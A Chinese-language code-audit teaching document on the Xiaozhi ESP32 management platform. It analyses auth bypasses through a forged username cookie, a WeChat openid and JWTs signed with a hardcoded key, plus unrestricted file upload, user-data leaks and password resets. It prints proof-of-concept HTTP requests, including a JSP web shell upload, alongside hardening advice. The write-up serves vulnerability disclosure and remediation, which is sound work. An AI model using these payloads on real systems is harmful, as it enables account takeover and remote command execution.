小智ESP32管理平台代码审计分析教学文档
项目概述
小智ESP32管理平台是基于Xiaozhi ESP32项目开发的Java版本服务端,包含完整的前后端管理平台。该项目采用现代化技术栈,旨在为企业级应用场景提供设备管理解决方案。
技术架构
- 后端框架:Spring Boot + Spring MVC
- 前端框架:Vue.js + Ant Design
- 数据存储:MySQL + Redis
- 全局响应式:适配各种设备及分辨率
安全审计分析
1. 架构分析
项目采用标准的SSM架构配合前后端分离模式:
- 前端使用Vue.js框架
- 后端基于Spring Boot构建
- 数据库连接使用Mybatis
- 未发现Shiro或Spring Security安全框架
2. 鉴权机制分析与绕过
2.1 拦截器配置分析
配置文件位置:src/main/java/com/xiaozhi/common/config/WebMvcConfig.java
白名单路径配置:
"/api/user/login",
"/api/user/register",
"/api/device/ota",
"/audio/**",
"/uploads/**",
"/ws/**",
"/swagger-ui/**",
"/v3/api-docs/**",
"/swagger-resources/**",
"/webjars/**"
2.2 AuthenticationInterceptor拦截器分析
拦截器通过preHandle方法实现访问控制,存在五处放行逻辑:
第一处放行条件(56-59行):
- 检查请求路径是否以白名单路径前缀开头
- 检查接口方法或类是否标注
@UnLogin注解
安全风险:白名单路径/api/user/可能导致敏感接口未授权访问
第二处放行条件(62-73行):
- 从Session中获取用户信息
- 存在用户信息则放行
第三处放行条件(75-78行)- Cookie伪造漏洞:
// 从Cookie中获取username值
String username = getCookieValue(request, "username");
// 根据username查询用户信息
SysUser user = userService.selectUserByUsername(username);
攻击方法:在请求中添加Cookie: username=admin即可绕过认证
第四处放行条件(80-83行)- 微信登录绕过:
- 通过
getWechatOpenId方法获取wxOpenId参数 - 参数完全可控,可构造恶意请求绕过认证
第五处放行条件(85-88行)- JWT伪造:
String token = request.getHeader("Authorization").replace("Bearer ", "");
if (jwtUtil.validateToken(token)) {
// 认证通过
}
安全风险:
- 使用硬编码密钥:
DEFAULT_SECRET - 配置密钥非强制修改,存在默认密钥风险
- JWT载荷可控,可构造恶意Token
3. 任意文件上传漏洞
漏洞位置
FileUploadController.java中的uploadFile方法
漏洞分析
// 获取原始文件名并提取后缀
String originalFilename = file.getOriginalFilename();
String extension = originalFilename.substring(originalFilename.lastIndexOf("."));
// 生成新文件名(无后缀校验)
String newFileName = UUID.randomUUID().toString() + extension;
// 调用上传方法
FileUploadUtils.smartUpload(file.getBytes(), baseDir, newFileName);
漏洞点:
- 仅通过原始文件名提取后缀,未进行安全校验
smartUpload方法中无文件内容类型检测- 支持上传任意文件类型,包括可执行脚本
漏洞利用POC
POST /api/file/upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=WebKitFormBoundary
--WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: image/png
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
--WebKitFormBoundary
Content-Disposition: form-data; name="type"
image
--WebKitFormBoundary--
4. 未授权信息泄露漏洞
4.1 用户信息查询泄露
接口位置:UserController.java中的query方法
漏洞描述:通过username参数查询用户敏感信息
利用POC:
GET /api/user/query?username=admin HTTP/1.1
Host: target.com
4.2 用户列表查询泄露
接口位置:UserController.java中的queryUsers方法
漏洞描述:无参调用返回所有用户信息
SQL语句:SELECT ... FROM sys_user WHERE 1 = 1 ORDER BY createTime DESC
利用POC:
GET /api/user/queryUsers HTTP/1.1
Host: target.com
5. 未授权任意用户密码修改
漏洞位置
UserController.java中的update方法
漏洞分析
public Result update(@RequestBody Map<String, Object> loginRequest) {
// 直接更新用户信息,无需旧密码验证
userService.update(loginRequest);
}
漏洞特征:
- 更新条件基于username、email、tel等可控参数
- 无需验证原密码即可修改密码
- 结合信息泄露漏洞可获取目标用户名
漏洞利用POC
POST /api/user/update HTTP/1.1
Host: target.com
Content-Type: application/json
{
"username": "targetUser",
"password": "NewPassword123",
"password2": "NewPassword123"
}
安全加固建议
1. 认证机制加固
- 移除Cookie和微信OpenID的直接认证方式
- 使用强随机密钥替换JWT硬编码密钥
- 实现完整的Session管理机制
2. 访问控制加固
- 细化接口权限控制,避免路径前缀匹配的粗粒度控制
- 对敏感操作实施二次认证
- 实现基于角色的访问控制(RBAC)
3. 文件上传安全
- 实施白名单文件类型校验
- 检测文件内容真实性(魔数检测)
- 限制上传目录的执行权限
- 对上传文件进行病毒扫描
4. 数据安全保护
- 敏感接口实施身份认证和权限验证
- 对用户查询结果进行数据脱敏
- 密码修改需验证原密码
- 实施API速率限制防止暴力枚举
总结
本次审计发现小智ESP32管理平台存在严重的安全缺陷,主要集中在认证绕过、未授权访问和文件上传等方面。建议开发团队按照上述加固建议进行全面安全整改,特别是在生产环境部署前必须解决这些安全隐患。